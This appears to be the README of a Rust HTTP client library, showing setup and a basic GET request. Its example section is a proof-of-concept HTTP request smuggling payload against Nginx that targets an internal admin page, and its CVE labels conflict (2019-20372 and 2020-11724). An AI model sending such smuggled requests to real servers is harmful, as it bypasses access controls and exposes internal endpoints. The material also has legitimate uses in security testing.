Getting Started

This example enables some optional features, so your Cargo.toml could look like this:

[dependencies]
slinger = { version = "0.1.2", features = ["serde", "cookie", "charset", "tls", "gzip"] }

And then the code:

fn main() -> Result<(), Box<dyn std::error::Error>> {
  let resp = slinger::get("https://httpbin.org/get")?;
  println!("{:?}", resp.text());
  Ok(())
}

Example

• Nginx - Http Smuggling CVE-2019-20372

use std::io::BufRead;
use slinger::{ClientBuilder, HTTPRecord};

/// CVE-2020-11724
/// when you're using BurpSuite proxy need **disabled** "set **Connection** header on incoming request"
const RAW: &[u8] = b"GET /test1 HTTP/1.1
Host: 192.168.83.196:8081
Content-Length: 42
Transfer-Encoding: chunked

0

GET /test1 HTTP/1.1
Host: 192.168.83.196:8081
X: GET http://192.168.83.1:8080/admin.jsp HTTP/1.0

";

fn main() -> Result<(), Box<dyn std::error::Error>> {
  // let proxy = slinger::Proxy::parse("http://127.0.0.1:8080").unwrap();
  let client = ClientBuilder::new().build().unwrap();
  let mut raw = Vec::new();
  // replace \n to \r\n
  for line in RAW.lines() {
    match line {
      Ok(l) => {
        raw.extend(l.as_bytes());
        raw.extend(b"\r\n")
      }
      Err(err) => {
        println!("{:?}", err);
      }
    }
  }
  let resp = client.raw("http://127.0.0.1:9015/", raw, true).send()?;
  let record = resp.extensions().get::<Vec<HTTPRecord>>().unwrap();
  println!("{:?}", record);
  Ok(())
}
